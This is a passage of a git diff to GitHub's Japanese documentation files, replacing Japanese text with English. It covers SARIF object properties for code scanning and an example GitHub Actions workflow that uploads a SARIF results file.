**任意。**ルールのデフォルトの重要度レベル。 {% data variables.product.prodname_code_scanning_capc %} は、特定のルールの結果がどの程度重要であるかを理解するために、重要度レベルを使用します。 この値は、`result` オブジェクトの `level` 属性でオーバーライドできます。 詳しい情報については、「[`result` オブジェクト](#result-object)」を参照してください。 デフォルト: `Warning` | -| `help.text` | **必須。**テキスト形式を使用したルールのドキュメント。 {% data variables.product.prodname_code_scanning_capc %} は、関連する結果の横にこのヘルプドキュメントを表示します。 | -| `help.markdown` | **推奨。**Markdown 形式を使用したルールのドキュメント。 {% data variables.product.prodname_code_scanning_capc %} は、関連する結果の横にこのヘルプドキュメントを表示します。 `help.markdown` が利用可能な場合は、 `help.text` の代わりに表示されます。 | -| `properties.tags[]` | **任意。**文字列の配列。 {% data variables.product.prodname_code_scanning_capc %} は、`tags` を使用して、{% data variables.product.prodname_dotcom %} の結果をフィルタできます。 たとえば、`security` タグを含むすべての結果をフィルタすることができます。 | -| `properties.precision` | **推奨。**このルールで示される結果が true である頻度を示す文字列。 たとえば、ルールに既知の高誤検知率がある場合、精度は `low` である必要があります。 {% data variables.product.prodname_code_scanning_capc %} は、{% data variables.product.prodname_dotcom %} の精度で結果を並べ替えるため、最高 `level` の精度と最高 `precision` の結果が最初に表示されます。 `very-high`、`high`、`medium`、`low` のいずれかになります。 |{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -| `properties.problem.severity` | **Recommended.** A string that indicates the level of severity of any alerts generated by a non-security query. This, with the `properties.precision` property, determines whether the results are displayed by default on {% data variables.product.prodname_dotcom %} so that the results with the highest `problem.severity`, and highest `precision` are shown first. Can be one of: `error`, `warning`, or `recommendation`. | -| `properties.security-severity` | **Recommended.** A score that indicates the level of severity, between 0.0 and 10.0, for security queries (`@tags` includes `security`). This, with the `properties.precision` property, determines whether the results are displayed by default on {% data variables.product.prodname_dotcom %} so that the results with the highest `security-severity`, and highest `precision` are shown first. {% data variables.product.prodname_code_scanning_capc %} translates numerical scores as follows: over 9.0 is `critical`, 7.0 to 8.9 is `high`, 4.0 to 6.9 is `medium` and 3.9 or less is `low`. {% endif %} +| Name | Description | +|----|----| +| `id` | **Required.** A unique identifier for the rule. The `id` is referenced from other parts of the SARIF file and may be used by {% data variables.product.prodname_code_scanning %} to display URLs on {% data variables.product.prodname_dotcom %}. | +| `name` | **Optional.** The name of the rule. {% data variables.product.prodname_code_scanning_capc %} displays the name to allow results to be filtered by rule on {% data variables.product.prodname_dotcom %}. | +| `shortDescription.text` | **Required.** A concise description of the rule. {% data variables.product.prodname_code_scanning_capc %} displays the short description on {% data variables.product.prodname_dotcom %} next to the associated results. +| `fullDescription.text` | **Required.** A description of the rule. {% data variables.product.prodname_code_scanning_capc %} displays the full description on {% data variables.product.prodname_dotcom %} next to the associated results. The max number of characters is limited to 1000. +| `defaultConfiguration.level` | **Optional.** Default severity level of the rule. {% data variables.product.prodname_code_scanning_capc %} uses severity levels to help you understand how critical the result is for a given rule. This value can be overridden by the `level` attribute in the `result` object. For more information, see the [`result` object](#result-object). Default: `warning`. +| `help.text` | **Required.** Documentation for the rule using text format. {% data variables.product.prodname_code_scanning_capc %} displays this help documentation next to the associated results. +| `help.markdown` | **Recommended.** Documentation for the rule using Markdown format. {% data variables.product.prodname_code_scanning_capc %} displays this help documentation next to the associated results. When `help.markdown` is available, it is displayed instead of `help.text`. +| `properties.tags[]` | **Optional.** An array of strings. {% data variables.product.prodname_code_scanning_capc %} uses `tags` to allow you to filter results on {% data variables.product.prodname_dotcom %}. For example, it is possible to filter to all results that have the tag `security`. +| `properties.precision` | **Recommended.** A string that indicates how often the results indicated by this rule are true. For example, if a rule has a known high false-positive rate, the precision should be `low`. {% data variables.product.prodname_code_scanning_capc %} orders results by precision on {% data variables.product.prodname_dotcom %} so that the results with the highest `level`, and highest `precision` are shown first. Can be one of: `very-high`, `high`, `medium`, or `low`. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} +| `properties.problem.severity` | **Recommended.** A string that indicates the level of severity of any alerts generated by a non-security query. This, with the `properties.precision` property, determines whether the results are displayed by default on {% data variables.product.prodname_dotcom %} so that the results with the highest `problem.severity`, and highest `precision` are shown first. Can be one of: `error`, `warning`, or `recommendation`. +| `properties.security-severity` | **Recommended.** A score that indicates the level of severity, between 0.0 and 10.0, for security queries (`@tags` includes `security`). This, with the `properties.precision` property, determines whether the results are displayed by default on {% data variables.product.prodname_dotcom %} so that the results with the highest `security-severity`, and highest `precision` are shown first. {% data variables.product.prodname_code_scanning_capc %} translates numerical scores as follows: over 9.0 is `critical`, 7.0 to 8.9 is `high`, 4.0 to 6.9 is `medium` and 3.9 or less is `low`. {% endif %} -### `result` オブジェクト +### `result` object {% data reusables.code-scanning.upload-sarif-alert-limit %} -| 名前 | 説明 | -| --------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `ruleId` | **任意。**ルールの一意の識別子（`reportingDescriptor.id`）。 詳しい情報については、「[`reportingDescriptor` オブジェクト](#reportingdescriptor-object)」を参照してください。 {% data variables.product.prodname_code_scanning_capc %} は、ルール識別子を使用して、{% data variables.product.prodname_dotcom %} のルールで結果をフィルタします。 | -| `ruleIndex` | **任意。**ツールコンポーネントの `rules` 配列内の関連するルール（`reportingDescriptor` オブジェクト）のインデックス。 詳しい情報については、「[`run` オブジェクト](#run-object)」を参照してください。 | -| `rule` | **任意。**この結果のルール（レポート記述子）を見つけるために使用される参照。 詳しい情報については、「[`reportingDescriptor` オブジェクト](#reportingdescriptor-object)」を参照してください。 | -| `level` | **任意。**結果の重要度。 このレベルは、ルールで定義されているデフォルトの重要度をオーバーライドします。 {% data variables.product.prodname_code_scanning_capc %} は、レベルを使用して、{% data variables.product.prodname_dotcom %} の重要度で結果をフィルタします。 | -| `message.text` | **必須。**結果を説明するメッセージ。 {% data variables.product.prodname_code_scanning_capc %} は、結果のタイトルとしてメッセージテキストを表示します。 表示スペースが限られている場合、メッセージの最初の文のみが表示されます。 | -| `locations[]` | **必須。**結果が検出された場所。最大値は 10 です。 指定された場所ごとに変更を加えることでのみ問題を修正できる場合を除き、1 つの場所のみを含める必要があります。 **注釈:** {% data variables.product.prodname_code_scanning %} が結果を表示するには、少なくとも 1 つの場所が必要です。 {% data variables.product.prodname_code_scanning_capc %} は、このプロパティを使用して、結果を注釈するファイルを決定します。 この配列の最初の値のみが使用されます。 他のすべての値は無視されます。 | -| `partialFingerprints` | **必須。**結果の一意の ID を追跡するために使用される文字列。 {% data variables.product.prodname_code_scanning_capc %} は、`partialFingerprints` を使用して、コミットとブランチで同じ結果であるものを正確に識別します。 {% data variables.product.prodname_code_scanning_capc %} は、`partialFingerprints` がある場合、それを使用しようとします。 `upload-action` を使用してサードパーティの SARIF ファイルをアップロードする場合、SARIF ファイルに含まれていないときに、アクションによって `partialFingerprints` が作成されます。 詳しい情報については、「[フィンガープリントを使用してアラートの重複を防止する](#preventing-duplicate-alerts-using-fingerprints)」を参照してください。 **注釈:** {% data variables.product.prodname_code_scanning_capc %} は、`primaryLocationLineHash` のみを使用します。 | -| `codeFlows[].threadFlows[].locations[]` | **任意。**`threadFlow` オブジェクトに対する `location` オブジェクトの配列。実行スレッドを通してプログラムの進行状況を記述します。 `codeFlow` オブジェクトは、結果の検出に使用されるコード実行パターンを記述します。 コードフローが入力されている場合、{% data variables.product.prodname_code_scanning %} は、関連する結果の {% data variables.product.prodname_dotcom %} のコードフローを拡張します。 詳しい情報については、「[`location` オブジェクト](#location-object)」を参照してください。 | -| `relatedLocations[]` | この結果に関連する場所。 結果メッセージに埋め込まれている場合、{% data variables.product.prodname_code_scanning_capc %} は、関連する場所にリンクします。 詳しい情報については、「[`location` オブジェクト](#location-object)」を参照してください。 | +| Name | Description | +|----|----| +| `ruleId`| **Optional.** The unique identifier of the rule (`reportingDescriptor.id`). For more information, see the [`reportingDescriptor` object](#reportingdescriptor-object). {% data variables.product.prodname_code_scanning_capc %} uses the rule identifier to filter results by rule on {% data variables.product.prodname_dotcom %}. +| `ruleIndex`| **Optional.** The index of the associated rule (`reportingDescriptor` object) in the tool component `rules` array. For more information, see the [`run` object](#run-object). +| `rule`| **Optional.** A reference used to locate the rule (reporting descriptor) for this result. For more information, see the [`reportingDescriptor` object](#reportingdescriptor-object). +| `level`| **Optional.** The severity of the result. This level overrides the default severity defined by the rule. {% data variables.product.prodname_code_scanning_capc %} uses the level to filter results by severity on {% data variables.product.prodname_dotcom %}. +| `message.text`| **Required.** A message that describes the result. {% data variables.product.prodname_code_scanning_capc %} displays the message text as the title of the result. Only the first sentence of the message will be displayed when visible space is limited. +| `locations[]`| **Required.** The set of locations where the result was detected up to a maximum of 10. Only one location should be included unless the problem can only be corrected by making a change at every specified location. **Note:** At least one location is required for {% data variables.product.prodname_code_scanning %} to display a result. {% data variables.product.prodname_code_scanning_capc %} will use this property to decide which file to annotate with the result. Only the first value of this array is used. All other values are ignored. +| `partialFingerprints`| **Required.** A set of strings used to track the unique identity of the result. {% data variables.product.prodname_code_scanning_capc %} uses `partialFingerprints` to accurately identify which results are the same across commits and branches. {% data variables.product.prodname_code_scanning_capc %} will attempt to use `partialFingerprints` if they exist. If you are uploading third-party SARIF files with the `upload-action`, the action will create `partialFingerprints` for you when they are not included in the SARIF file. For more information, see "[Preventing duplicate alerts using fingerprints](#preventing-duplicate-alerts-using-fingerprints)." **Note:** {% data variables.product.prodname_code_scanning_capc %} only uses the `primaryLocationLineHash`. +| `codeFlows[].threadFlows[].locations[]`| **Optional.** An array of `location` objects for a `threadFlow` object, which describes the progress of a program through a thread of execution. A `codeFlow` object describes a pattern of code execution used to detect a result. If code flows are provided, {% data variables.product.prodname_code_scanning %} will expand code flows on {% data variables.product.prodname_dotcom %} for the relevant result. For more information, see the [`location` object](#location-object). +| `relatedLocations[]`| A set of locations relevant to this result. {% data variables.product.prodname_code_scanning_capc %} will link to related locations when they are embedded in the result message. For more information, see the [`location` object](#location-object). -### `location` オブジェクト +### `location` object -プログラミングアーティファクト内の場所（リポジトリ内のファイルやビルド中に生成されたファイルなど）。 +A location within a programming artifact, such as a file in the repository or a file that was generated during a build. -| 名前 | 説明 | -| --------------------------- | -------------------------------------------------------------------------------------------------- | -| `location.id` | **任意。**この場所を単一の結果オブジェクト内の他のすべての場所と区別する一意の識別子。 | -| `location.physicalLocation` | **必須。**アーティファクトとリージョンを識別します。 詳しい情報については、「[`physicalLocation`](#physicallocation-object)」を参照してください。 | -| `location.message.text` | **任意。**場所に関連するメッセージ。 | +| Name | Description | +|----|----| +| `location.id` | **Optional.** A unique identifier that distinguishes this location from all other locations within a single result object. +| `location.physicalLocation` | **Required.** Identifies the artifact and region. For more information, see the [`physicalLocation`](#physicallocation-object). +| `location.message.text` | **Optional.** A message relevant to the location. -### `physicalLocation` オブジェクト +### `physicalLocation` object -| 名前 | 説明 | -| ---------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `artifactLocation.uri` | **必須。**アーティファクトの場所を示す URI（通常はリポジトリ内のファイル、またはビルド中に生成されたファイル）。 URI が相対の場合、分析されている {% data variables.product.prodname_dotcom %} リポジトリのルートに相対である必要があります。 たとえば、main.js または src/script.js は、リポジトリのルートを基準にしています。 URI が絶対の場合、{% data variables.product.prodname_code_scanning %} は URI を使用してアーティファクトをチェックアウトし、リポジトリ内のファイルを照合できます。 例: `https://github.com/ghost/example/blob/00/src/promiseUtils.js` | -| `region.startLine` | **必須。**リージョンの最初の文字の行番号。 | -| `region.startColumn` | **必須。**リージョンの最初の文字の列番号。 | -| `region.endLine` | **必須。**リージョンの最後の文字の行番号。 | -| `region.endColumn` | **必須。**リージョンの末尾に続く文字の列番号。 | +| Name | Description | +|----|----| +| `artifactLocation.uri`| **Required.** A URI indicating the location of an artifact, usually a file either in the repository or generated during a build. If the URI is relative, it should be relative to the root of the {% data variables.product.prodname_dotcom %} repository being analyzed. For example, main.js or src/script.js are relative to the root of the repository. If the URI is absolute, {% data variables.product.prodname_code_scanning %} can use the URI to checkout the artifact and match up files in the repository. For example, `https://github.com/ghost/example/blob/00/src/promiseUtils.js`. +| `region.startLine` | **Required.** The line number of the first character in the region. +| `region.startColumn` | **Required.** The column number of the first character in the region. +| `region.endLine` | **Required.** The line number of the last character in the region. +| `region.endColumn` | **Required.** The column number of the character following the end of the region. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -### `runAutomationDetails`オブジェクト +### `runAutomationDetails` object -`runAutomationDetails`オブジェクトには、実行のアイデンティティを指定する情報が含まれています。 +The `runAutomationDetails` object contains information that specifies the identity of a run. {% note %} -**ノート:** `runAutomationDetails`はSARIF v2.1.0のオブジェクトです。 {% data variables.product.prodname_codeql_cli %}を使っているなら、使用するSARIFのバージョンを指定できます。 `runAutomationDetails`と等価なオブジェクトは、SARIF v1なら`.automationId`で、SARIF v2なら`.automationLogicalId`です。 +**Note:** `runAutomationDetails` is a SARIF v2.1.0 object. If you're using the {% data variables.product.prodname_codeql_cli %}, you can specify the version of SARIF to use. The equivalent object to `runAutomationDetails` is `.automationId` for SARIF v1 and `.automationLogicalId` for SARIF v2. {% endnote %} -| 名前 | 説明 | -| ---- | ------------------------------------------------------------------------------------------------------------ | -| `id` | **オプション。** 分析のカテゴリと実行のIDを識別する文字列。 同じツールとコミットに対して、ただし様々な言語やコードの様々な部分にを処理した場合に、複数のSARIFファイルをアップロードする際に使ってください。 | +| Name | Description | +|----|----| +| `id`| **Optional.** A string that identifies the category of the analysis and the run ID. Use if you want to upload multiple SARIF files for the same tool and commit, but performed on different languages or different parts of the code. | -`runAutomationDetails`オブジェクトの利用はオプションです。 +The use of the `runAutomationDetails` object is optional. -`id`フィールドには、分析のカテゴリと実行IDを含めることができます。 `id`の実行IDの部分は使われませんが、保存はされます。 +The `id` field can include an analysis category and a run ID. We don't use the run ID part of the `id` field, but we store it. -カテゴリを使って、同じツールあるいはコミットに対して行われる、ただし様々な言語やコードの様々な部分に対して行われる複数の分析を区別してください。 実行IDを使って、分析が実行された日付など、特定の分析の実行を識別してください。 +Use the category to distinguish between multiple analyses for the same tool or commit, but performed on different languages or different parts of the code. Use the run ID to identify the specific run of the analysis, such as the date the analysis was run. -`id`は`category/run-id`として解釈されます。 `id`にスラッシュ(`/`)が含まれない場合、文字列全体が`run_id`となり、`category`は空になります。 そうでなければ、`category`は最後のスラッシュまでのすべての文字列になり、`run_id`はその後のすべての文字列になります。 +`id` is interpreted as `category/run-id`. If the `id` contains no forward slash (`/`), then the entire string is the `run_id` and the `category` is empty. Otherwise, `category` is everything in the string until the last forward slash, and `run_id` is everything after. -| `id` | カテゴリ | `run_id` | -| ---------------------------- | ----------------- | --------------------- | -| my-analysis/tool1/2021-02-01 | my-analysis/tool1 | 2021-02-01 | -| my-analysis/tool1/ | my-analysis/tool1 | _`run-id`なし_ | -| my-analysis for tool1 | _カテゴリなし_ | my-analysis for tool1 | +| `id` | category | `run_id` | +|----|----|----| +| my-analysis/tool1/2021-02-01 | my-analysis/tool1 | 2021-02-01 +| my-analysis/tool1/ | my-analysis/tool1 | _no `run-id`_ +| my-analysis for tool1 | _no category_ | my-analysis for tool1 -- "my-analysis/tool1/2021-02-01"という`id`の実行は、"my-analysis/tool1"というカテゴリに属します。 おそらく、これは2021 年2月2日からの実行です。 -- "my-analysis/tool1/"という`id`の実行は"my-analysis/tool1"というカテゴリに属しますが、そのカテゴリの他の実行とは区別されません。 -- "my-analysis for tool1 "が`id`の実行は、一意の識別子を持ちますが、どのカテゴリにも属していると推定できません。 +- The run with an `id` of "my-analysis/tool1/2021-02-01" belongs to the category "my-analysis/tool1". Presumably, this is the run from February 2, 2021. +- The run with an `id` of "my-analysis/tool1/" belongs to the category "my-analysis/tool1" but is not distinguished from other runs in that category. +- The run whose `id` is "my-analysis for tool1 " has a unique identifier but cannot be inferred to belong to any category. -`runAutomationDetails`オブジェクトと`id`フィールドに関する詳しい情報については、OASISドキュメンテーションの[runAutomationDetails object](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012479)を参照してください。 +For more information about the `runAutomationDetails` object and the `id` field, see [runAutomationDetails object](https://docs.oasis-open.org/sarif/sarif/v2.1.0/cs01/sarif-v2.1.0-cs01.html#_Toc16012479) in the OASIS documentation. -サポートされている残りのフィールドは無視されることに注意してください。 +Note that the rest of the supported fields are ignored. {% endif %} -## SARIF 出力ファイルの例 +## SARIF output file examples -次の例の SARIF 出力ファイルは、サポートされているプロパティと値の例を示しています。 +These example SARIF output files show supported properties and example values. -### 最低限必要なプロパティの例 +### Example with minimum required properties -次の SARIF 出力ファイルには、{% data variables.product.prodname_code_scanning %} の結果が期待どおりに機能するために最低限必要なプロパティを示す値の例が示されています。 プロパティを削除したり、値を含めていない場合、このデータは正しく表示されないか、{% data variables.product.prodname_dotcom %} で同期されません。 +This SARIF output file has example values to show the minimum required properties for {% data variables.product.prodname_code_scanning %} results to work as expected. If you remove any properties or don't include values, this data will not be displayed correctly or sync on {% data variables.product.prodname_dotcom %}. ```json { @@ -242,9 +241,9 @@ SARIF ファイルが {% data variables.product.prodname_code_scanning %} と互 } ``` -### サポートされているすべての SARIF プロパティを示す例 +### Example showing all supported SARIF properties -次の SARIF 出力ファイルには、{% data variables.product.prodname_code_scanning %} でサポートされているすべての SARIF プロパティを示す値の例が示されています。 +This SARIF output file has example values to show all supported SARIF properties for {% data variables.product.prodname_code_scanning %}. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} ```json diff --git a/translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md b/translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md index d583d0075c..96fc77dae0 100644 --- a/translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md +++ b/translations/ja-JP/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md @@ -1,6 +1,6 @@ --- -title: SARIF ファイルを GitHub にアップロードする -shortTitle: SARIFファイルのアップロード +title: Uploading a SARIF file to GitHub +shortTitle: Upload a SARIF file intro: '{% data reusables.code-scanning.you-can-upload-third-party-analysis %}' permissions: 'People with write permissions to a repository can upload {% data variables.product.prodname_code_scanning %} data generated outside {% data variables.product.prodname_dotcom %}.' product: '{% data reusables.gated-features.code-scanning %}' @@ -24,56 +24,55 @@ topics: - CI - SARIF --- - {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} {% data reusables.code-scanning.deprecation-codeql-runner %} -## {% data variables.product.prodname_code_scanning %} に対する SARIF ファイルのアップロードについて +## About SARIF file uploads for {% data variables.product.prodname_code_scanning %} -SARIF ファイルに `partialFingerprints` が含まれていない場合、`upload-sarif` アクションは、`partialFingerprints` フィールドを計算し、アラートの重複を防止しようと試みます。 {% data variables.product.prodname_dotcom %} は、リポジトリに SARIF ファイルと静的分析で使用されるソースコードの両方が含まれている場合にのみ、`partialFingerprints` を作成できます。 詳しい情報については、「[リポジトリの {% data variables.product.prodname_code_scanning %} アラートを管理する](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)」を参照してください。 +{% data variables.product.prodname_dotcom %} creates {% data variables.product.prodname_code_scanning %} alerts in a repository using information from Static Analysis Results Interchange Format (SARIF) files. SARIF files can be uploaded to a repository using the API or {% data variables.product.prodname_actions %}. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)." -SARIF ファイルは、{% data variables.product.prodname_codeql %} を含む多くの静的解析セキュリティテストツールを使用して生成できます。 生成するファイルは、SARIF バージョン 2.1.0 である必要があります。 詳しい情報については「[{% data variables.product.prodname_code_scanning %}の SARIF サポート](/code-security/secure-coding/sarif-support-for-code-scanning)」を参照してください。 +You can generate SARIF files using many static analysis security testing tools, including {% data variables.product.prodname_codeql %}. The results must use SARIF version 2.1.0. For more information, see "[SARIF support for {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/sarif-support-for-code-scanning)." -結果のアップロードは、{% data variables.product.prodname_actions %}、{% data variables.product.prodname_code_scanning %} API、{% ifversion fpt or ghes > 3.0 or ghae-next or ghec %}{% data variables.product.prodname_codeql_cli %}、{% endif %}{% data variables.product.prodname_codeql_runner %}を使って行えます。 最適なアップロード方法は、SARIF ファイルの生成方法によって異なります。以下、例を示します。 +You can upload the results using {% data variables.product.prodname_actions %}, the {% data variables.product.prodname_code_scanning %} API, {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %}the {% data variables.product.prodname_codeql_cli %}, {% endif %}or the {% data variables.product.prodname_codeql_runner %}. The best upload method will depend on how you generate the SARIF file, for example, if you use: -- {% data variables.product.prodname_actions %} を使用して {% data variables.product.prodname_codeql %} アクションを実行している場合、追加のアクションは不要です。 SARIF ファイルは、ファイルのアップロードに使用したものと同じ {% data variables.product.prodname_actions %} ワークフローで実行する SARIF 互換の分析ツールから生成できます。 -- "[ワークフロー実行の管理](/actions/configuring-and-managing-workflows/managing-a-workflow-run#viewing-your-workflow-history)" {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} - - CIシステムで{% data variables.product.prodname_code_scanning %}を実行する{% data variables.product.prodname_codeql_cli %}を使って結果を{% data variables.product.prodname_dotcom %}にアップロードできます（詳しい情報については「[CIシステムへの{% data variables.product.prodname_codeql_cli %}のインストール](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)」を参照してください）。{% endif %} -- {% data variables.product.prodname_dotcom %} は、リポジトリにアップロードされた SARIF ファイルからの {% data variables.product.prodname_code_scanning %} アラートを表示します。 自動的なアップロードをブロックしている場合、結果をアップロードする準備ができたら `upload` コマンドを使用できます (詳しい情報については、「[CI システムでの{% data variables.product.prodname_codeql_runner %}の実行](/code-security/secure-coding/running-codeql-runner-in-your-ci-system) 」を参照)。 -- 結果をリポジトリ外に成果物として生成するツールの場合、{% data variables.product.prodname_code_scanning %} API を使用してファイルをアップロードできます (詳しい情報については、「[解析を SARIF データとしてアップロードする](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)」を参照)。 +- {% data variables.product.prodname_actions %} to run the {% data variables.product.prodname_codeql %} action, there is no further action required. The {% data variables.product.prodname_codeql %} action uploads the SARIF file automatically when it completes analysis. +- {% data variables.product.prodname_actions %} to run a SARIF-compatible analysis tool, you could update the workflow to include a final step that uploads the results (see below). {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} + - The {% data variables.product.prodname_codeql_cli %} to run {% data variables.product.prodname_code_scanning %} in your CI system, you can use the CLI to upload results to {% data variables.product.prodname_dotcom %} (for more information, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)").{% endif %} +- The {% data variables.product.prodname_codeql_runner %}, to run {% data variables.product.prodname_code_scanning %} in your CI system, by default the runner automatically uploads results to {% data variables.product.prodname_dotcom %} on completion. If you block the automatic upload, when you are ready to upload results you can use the `upload` command (for more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)"). +- A tool that generates results as an artifact outside of your repository, you can use the {% data variables.product.prodname_code_scanning %} API to upload the file (for more information, see "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)"). {% data reusables.code-scanning.not-available %} -## {% data variables.product.prodname_actions %} での {% data variables.product.prodname_code_scanning %} 分析をアップロードする +## Uploading a {% data variables.product.prodname_code_scanning %} analysis with {% data variables.product.prodname_actions %} -サードパーティの SARIF ファイルを {% data variables.product.prodname_dotcom %} にアップロードするには、{% data variables.product.prodname_actions %} ワークフローが必要です。 詳しい情報については、「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」を参照してください。 +To use {% data variables.product.prodname_actions %} to upload a third-party SARIF file to a repository, you'll need a workflow. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." -ワークフローは、`upload-sarif` アクションを使用する必要があります。 これには、アップロードの設定に使用できる入力パラメータがあります。 使用する主な入力パラメータは、アップロードする SARIF ファイルのファイルまたはディレクトリを設定する `sarif-file` です。 ディレクトリまたはファイルのパスは、リポジトリのルートからの相対パスです。 詳しい情報については、「[`upload-sarif` アクション](https://github.com/github/codeql-action/tree/HEAD/upload-sarif)」を参照してください。 +Your workflow will need to use the `upload-sarif` action, which is part of the `github/codeql-action` repository. It has input parameters that you can use to configure the upload. The main input parameter you'll use is `sarif-file`, which configures the file or directory of SARIF files to be uploaded. The directory or file path is relative to the root of the repository. For more information see the [`upload-sarif` action](https://github.com/github/codeql-action/tree/HEAD/upload-sarif). -`upload-sarif` アクションは、`push` および `scheduled` イベントが発生したときに実行するように設定できます。 {% data variables.product.prodname_actions %} イベントについて詳しい情報は、「[ワークフローをトリガーするイベント](/actions/reference/events-that-trigger-workflows)」を参照してください。 +The `upload-sarif` action can be configured to run when the `push` and `scheduled` event occur. For more information about {% data variables.product.prodname_actions %} events, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." -SARIF ファイルに `partialFingerprints` が含まれていない場合、`upload-sarif` アクションは、`partialFingerprints` フィールドを計算し、アラートの重複を防止しようと試みます。 {% data variables.product.prodname_dotcom %} は、リポジトリに SARIF ファイルと静的分析で使用されるソースコードの両方が含まれている場合にのみ、`partialFingerprints` を作成できます。 重複アラートの防止に関する詳しい情報については、「[コードスキャンに対する SARIF サポートについて](/code-security/secure-coding/sarif-support-for-code-scanning#preventing-duplicate-alerts-using-fingerprints)」を参照してください。 +If your SARIF file doesn't include `partialFingerprints`, the `upload-sarif` action will calculate the `partialFingerprints` field for you and attempt to prevent duplicate alerts. {% data variables.product.prodname_dotcom %} can only create `partialFingerprints` when the repository contains both the SARIF file and the source code used in the static analysis. For more information about preventing duplicate alerts, see "[About SARIF support for code scanning](/code-security/secure-coding/sarif-support-for-code-scanning#preventing-duplicate-alerts-using-fingerprints)." {% data reusables.code-scanning.upload-sarif-alert-limit %} -### リポジトリ外で生成された SARIF ファイルのワークフロー例 +### Example workflow for SARIF files generated outside of a repository -SARIF ファイルをリポジトリにコミットした後でアップロードする新しいワークフローを作成できます。 これは、SARIF ファイルがリポジトリ外のアーティファクトとして生成される場合に役立ちます。 +You can create a new workflow that uploads SARIF files after you commit them to your repository. This is useful when the SARIF file is generated as an artifact outside of your repository. -この例のワークフローは、コミットがリポジトリにプッシュされるたびに実行されます。 アクションは `partialFingerprints` プロパティを使用して、変更が発生したかどうかを判断します。 コミットがプッシュされたときに実行されるだけでなく、ワークフローは週に 1 回実行されるようにスケジュールされます。 詳しい情報については、「[ワークフローをトリガーするイベント](/actions/reference/events-that-trigger-workflows)」を参照してください。 +This example workflow runs anytime commits are pushed to the repository. The action uses the `partialFingerprints` property to determine if changes have occurred. In addition to running when commits are pushed, the workflow is scheduled to run once per week. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)." -このワークフローは、リポジトリのルートにある `results.sarif` ファイルをアップロードします。 ワークフローファイルの作成に関する詳しい情報については、「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」を参照してください。 +This workflow uploads the `results.sarif` file located in the root of the repository. For more information about creating a workflow file, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." -または、このワークフローを変更して、SARIF ファイルのディレクトリをアップロードすることもできます。 たとえば、すべての SARIF ファイルをリポジトリのルートにある `sarif-output` というディレクトリに配置し、アクションの入力パラメータ `sarif_file` を `sarif-output` に設定できます。 +Alternatively, you could modify this workflow to upload a directory of SARIF files. For example, you could place all SARIF files in a directory in the root of your repository called `sarif-output` and set the action's input parameter `sarif_file` to `sarif-output`. ```yaml name: "Upload SARIF" -# コードがリポジトリにプッシュされるたびに、スケジュールに従ってワークフローを実行します。 -# スケジュールされたワークフローは、毎週木曜日の 15:45（UTC）に実行されます。 +# Run workflow each time code is pushed to your repository and on a schedule. +# The scheduled workflow runs every Thursday at 15:45 UTC. on: push: schedule: @@ -85,7 +84,7 @@ jobs: permissions: security-events: write{% endif %} steps: - # このステップはリポジトリのコピーをチェックアウトします。 + # This step checks out a copy of your repository. - name: Checkout repository uses: actions/checkout@v2 - name: Upload SARIF file @@ -95,19 +94,19 @@ jobs: sarif_file: results.sarif ``` -### ESLint 分析ツールを実行するワークフローの例 +### Example workflow that runs the ESLint analysis tool -継続的インテグレーション（CI）ワークフローの一部としてサードパーティの SARIF ファイルを生成する場合は、CI テストの実行後のステップとして、`upload-sarif` アクションを追加できます。 CI ワークフローがない場合は、{% data variables.product.prodname_actions %} テンプレートを使用して作成できます。 詳しい情報については、「[{% data variables.product.prodname_actions %} のクイックスタート](/actions/quickstart)」を参照してください。 +If you generate your third-party SARIF file as part of a continuous integration (CI) workflow, you can add the `upload-sarif` action as a step after running your CI tests. If you don't already have a CI workflow, you can create one using a {% data variables.product.prodname_actions %} template. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)." -この例のワークフローは、コミットがリポジトリにプッシュされるたびに実行されます。 アクションは `partialFingerprints` プロパティを使用して、変更が発生したかどうかを判断します。 コミットがプッシュされたときに実行されるだけでなく、ワークフローは週に 1 回実行されるようにスケジュールされます。 詳しい情報については、「[ワークフローをトリガーするイベント](/actions/reference/events-that-trigger-workflows)」を参照してください。 +This example workflow runs anytime commits are pushed to the repository. The action uses the 